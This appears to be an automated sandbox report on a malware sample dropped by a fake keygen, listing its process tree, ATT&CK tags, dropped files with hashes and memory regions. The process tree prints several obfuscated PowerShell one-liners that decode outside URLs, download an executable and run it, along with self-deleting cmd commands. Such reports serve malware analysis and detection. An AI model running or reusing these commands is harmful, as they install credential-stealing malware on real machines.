- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:5072

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:2160

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
8⤵
PID:4632

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4524

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:4884

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:4616

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:2624

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:2588

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:4252

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2992

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 2992 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\716246394310844\\* & exit
9⤵
PID:4392

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 2992
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3868

C:\Users\Public\vef.exe
"C:\Users\Public\vef.exe"
6⤵
- Executes dropped EXE
PID:5044

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3424

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4416

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496

C:\Users\Public\wmx.exe
"C:\Users\Public\wmx.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4944

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4988

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3900

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3900 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\635957055026086\\* & exit
8⤵
PID:4440

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3900
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3404

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:3784

C:\Users\Public\wmx.exe
"C:\Users\Public\wmx.exe"
6⤵
- Executes dropped EXE
PID:4456

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29F4.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4684

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:2644

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\rfb4o2bw.exe
2⤵
PID:5036

C:\Windows\temp\rfb4o2bw.exe
C:\Windows\temp\rfb4o2bw.exe
3⤵
- Executes dropped EXE
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2468

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1476

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\29F4.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\CCsJqPFTF9.exe
MD5
013db621a3351e3fb049efd2ccad79ff

SHA1
a23394ea54dbc5342a77938a2c285ee616185560

SHA256
df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

SHA512
1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

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C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\jLKjSpgC8s.exe

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C:\Users\Admin\AppData\Local\Temp\jLKjSpgC8s.exe

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C:\Users\Admin\AppData\Local\Temp\mqVlhDUA3a.exe

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C:\Users\Admin\AppData\Local\Temp\mqVlhDUA3a.exe

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C:\Users\Admin\AppData\Local\Temp\s500WscHOO.exe

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C:\Users\Admin\AppData\Local\Temp\s500WscHOO.exe

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C:\Users\Public\hmj.exe

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C:\Users\Public\hmj.exe

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C:\Users\Public\hmj.exe

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C:\Users\Public\vef.exe

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C:\Users\Public\vef.exe

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C:\Users\Public\vef.exe

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C:\Users\Public\wmx.exe

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C:\Users\Public\wmx.exe

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C:\Users\Public\wmx.exe

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C:\Windows\Temp\rfb4o2bw.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\rfb4o2bw.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\xxw2laux.inf

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\??\PIPE\lsarpc

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\sqlite3.dll

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memory/392-130-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/392-127-0x000000000043FCC3-mapping.dmp

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memory/392-126-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/1476-346-0x0000000000000000-mapping.dmp

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memory/1568-15-0x0000000000000000-mapping.dmp

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memory/1576-0-0x0000000000000000-mapping.dmp

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memory/1780-19-0x0000000000000000-mapping.dmp

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memory/1780-29-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

Download
memory/1780-52-0x0000000008290000-0x0000000008291000-memory.dmp

Filesize
4KB

Download
memory/1780-72-0x0000000009780000-0x0000000009781000-memory.dmp

Filesize
4KB

Download
memory/1780-49-0x0000000007960000-0x0000000007961000-memory.dmp

Filesize
4KB

Download
memory/1780-57-0x00000000081B0000-0x00000000081B1000-memory.dmp

Filesize
4KB

Download
memory/1780-75-0x0000000008F30000-0x0000000008F31000-memory.dmp

Filesize
4KB

Download
memory/2160-210-0x0000000000000000-mapping.dmp

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memory/2164-3-0x0000000000000000-mapping.dmp

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memory/2164-2-0x0000000000000000-mapping.dmp

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memory/2196-18-0x0000000000000000-mapping.dmp

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memory/2196-37-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

Filesize
4KB

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memory/2196-23-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

Download
memory/2196-40-0x0000000008030000-0x0000000008031000-memory.dmp

Filesize
4KB

Download
memory/2196-43-0x00000000080A0000-0x00000000080A1000-memory.dmp

Filesize
4KB

Download
memory/2196-33-0x00000000074B0000-0x00000000074B1000-memory.dmp

Filesize
4KB

Download
memory/2280-207-0x0000000000000000-mapping.dmp

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memory/2320-12-0x0000000000000000-mapping.dmp

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memory/2320-20-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

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memory/2468-345-0x0000000000000000-mapping.dmp

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memory/2468-348-0x00007FFD32960000-0x00007FFD3334C000-memory.dmp

Filesize
9.9MB

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memory/2480-289-0x0000000000000000-mapping.dmp

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memory/2568-312-0x000000000B990000-0x000000000B995000-memory.dmp

Filesize
20KB

Download
memory/2568-310-0x000000000B300000-0x000000000B312000-memory.dmp

Filesize
72KB

Download
memory/2568-306-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/2568-302-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Filesize
4KB

Download
memory/2568-295-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/2568-292-0x0000000000000000-mapping.dmp

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memory/2696-24-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

Filesize
4KB

Download
memory/2696-13-0x0000000000000000-mapping.dmp

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memory/2696-95-0x0000000009CB0000-0x0000000009CB1000-memory.dmp

Filesize
4KB

Download
memory/2696-96-0x00000000089E0000-0x00000000089E1000-memory.dmp

Filesize
4KB

Download
memory/2696-97-0x000000000AB30000-0x000000000AB31000-memory.dmp

Filesize
4KB

Download
memory/2696-21-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

Download
memory/2696-26-0x0000000007950000-0x0000000007951000-memory.dmp

Filesize
4KB

Download
memory/2780-7-0x0000000000000000-mapping.dmp

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memory/2992-237-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/2992-238-0x0000000000417A8B-mapping.dmp

Download
memory/2992-240-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/3404-164-0x0000000000000000-mapping.dmp

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memory/3424-22-0x0000000000000000-mapping.dmp

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memory/3608-17-0x0000000000000000-mapping.dmp

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memory/3704-327-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/3704-342-0x0000000007BA0000-0x0000000007BA1000-memory.dmp

Filesize
4KB

Download
memory/3704-325-0x0000000000000000-mapping.dmp

Download
memory/3704-334-0x00000000076E0000-0x00000000076E1000-memory.dmp

Filesize
4KB

Download
memory/3728-9-0x0000000000000000-mapping.dmp

Download
memory/3784-185-0x000000000041A684-mapping.dmp

Download
memory/3800-10-0x0000000000000000-mapping.dmp

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memory/3868-260-0x0000000000000000-mapping.dmp

Download
memory/3900-181-0x0000000000417A8B-mapping.dmp

Download
memory/3900-184-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4252-278-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4252-279-0x000000000041A684-mapping.dmp

Download
memory/4252-281-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4260-115-0x0000000000000000-mapping.dmp

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memory/4284-112-0x0000000000000000-mapping.dmp

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memory/4288-286-0x0000000000E40000-0x0000000000E41000-memory.dmp

Filesize
4KB

Download
memory/4288-296-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/4288-285-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/4288-282-0x0000000000000000-mapping.dmp

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memory/4308-308-0x0000000000000000-mapping.dmp

Download
memory/4336-304-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/4336-324-0x0000000004C40000-0x0000000004C43000-memory.dmp

Filesize
12KB

Download
memory/4336-301-0x0000000070F30000-0x000000007161E000-memory.dmp

Filesize
6.9MB

Download
memory/4336-297-0x0000000000000000-mapping.dmp

Download
memory/4336-320-0x0000000000CE0000-0x0000000000CF1000-memory.dmp

Filesize
68KB

Download
memory/4336-307-0x0000000000A40000-0x0000000000A41000-memory.dmp

Filesize
4KB

Download
memory/4392-258-0x0000000000000000-mapping.dmp

Download
memory/4412-138-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4412-132-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4412-135-0x0000000000417A8B-mapping.dmp

Download
memory/4416-60-0x0000000000000000-mapping.dmp

Download
memory/4440-226-0x0000000000000000-mapping.dmp

Download
memory/4456-179-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4456-177-0x000000000043FCC3-mapping.dmp

Download
memory/4488-139-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4488-133-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4488-134-0x000000000041A684-mapping.dmp

Download
memory/4496-65-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

Download
memory/4496-63-0x0000000000000000-mapping.dmp

Download
memory/4524-247-0x0000000002CA0000-0x0000000002CA1000-memory.dmp

Filesize
4KB

Download
memory/4524-242-0x0000000000000000-mapping.dmp

Download
memory/4524-268-0x0000000005500000-0x0000000005524000-memory.dmp

Filesize
144KB

Download
memory/4524-245-0x0000000000B60000-0x0000000000B61000-memory.dmp

Filesize
4KB

Download
memory/4524-244-0x0000000072870000-0x0000000072F5E000-memory.dmp

Filesize
6.9MB

Download
memory/4576-66-0x0000000000000000-mapping.dmp

Download
memory/4632-234-0x0000000000000000-mapping.dmp

Download
memory/4656-230-0x00000000052D0000-0x0000000005321000-memory.dmp

Filesize
324KB

Download
memory/4656-220-0x0000000072870000-0x0000000072F5E000-memory.dmp

Filesize
6.9MB

Download
memory/4656-218-0x0000000000000000-mapping.dmp

Download
memory/4656-222-0x00000000007C0000-0x00000000007C1000-memory.dmp

Filesize
4KB

Download
memory/4656-224-0x0000000001060000-0x0000000001061000-memory.dmp

Filesize
4KB

Download
memory/4668-337-0x0000000000000000-mapping.dmp

Download
memory/4668-336-0x0000000000000000-mapping.dmp

Download
memory/4668-340-0x00007FFD32960000-0x00007FFD3334C000-memory.dmp

Filesize
9.9MB

Download
memory/4668-343-0x0000000000970000-0x0000000000971000-memory.dmp

Filesize
4KB

Download
memory/4684-69-0x0000000000000000-mapping.dmp

Download
memory/4684-71-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

Download
memory/4700-298-0x0000000000000000-mapping.dmp

Download
memory/4796-221-0x0000000000000000-mapping.dmp

Download
memory/4868-228-0x0000000000000000-mapping.dmp

Download
memory/4944-155-0x0000000000000000-mapping.dmp

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memory/4988-161-0x0000000000000000-mapping.dmp

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memory/5016-101-0x0000000000000000-mapping.dmp

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memory/5036-331-0x0000000000000000-mapping.dmp

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memory/5044-214-0x000000000043FCC3-mapping.dmp

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memory/5044-213-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

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memory/5044-216-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

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memory/5072-106-0x0000000000000000-mapping.dmp

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memory/5072-109-0x00000000705F0000-0x0000000070CDE000-memory.dmp

Filesize
6.9MB

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memory/5072-211-0x0000000006100000-0x000000000610D000-memory.dmp

Filesize
52KB

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memory/5072-191-0x00000000059A0000-0x00000000059A1000-memory.dmp

Filesize
4KB

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memory/5072-190-0x00000000052C0000-0x0000000005370000-memory.dmp

Filesize
704KB

